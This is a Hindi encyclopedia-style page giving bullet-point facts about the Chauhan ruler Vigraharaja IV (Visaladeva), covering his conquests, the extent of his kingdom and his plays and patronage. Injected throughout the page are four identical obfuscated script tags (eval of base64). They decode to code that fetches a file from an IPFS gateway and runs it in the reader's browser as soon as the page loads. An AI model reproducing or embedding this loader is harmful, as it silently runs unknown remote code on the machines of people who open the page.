विग्रहराज चतुर्थ बीसलदेव
- विग्रहराज ने चालुक्य नरेश कुमार पाल को परास्त किया।
- दिल्ली पर अधिकार कर उसने हांसी को जीता।
- उसके राज्य की सीमा पंजाब, राजपूताना तथा पश्चिमी उत्तर प्रदेश तक फैली थी।
- उसका समकालीन लाहौर का तुर्क शासक खुशरूशाह था जिसने उसके राज्य पर आक्रमण किया।
- इसने अपने पराक्रम से शाकंभरी चौहानों को उत्तर भारत में एक महत्त्वपूर्ण शक्ति बनाया।
- विग्रहराज चतुर्थ वीसलदेव महान् कवि एवं लेखक भी था।
- उसने 'हरिकेल' जैसे नाटकों की रचना की।
- महाकवि सोमदेव ने वीसलदेव के चरित्र की प्रशंसा में 'ललित विग्रहराज' नामक ग्रंथ लिखा।
- विग्रहराज के बाद कुछ समय तक अपर गांगेय, पृथ्वीराज द्वितीय एवं सोमेश्वर ने शासन किया।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>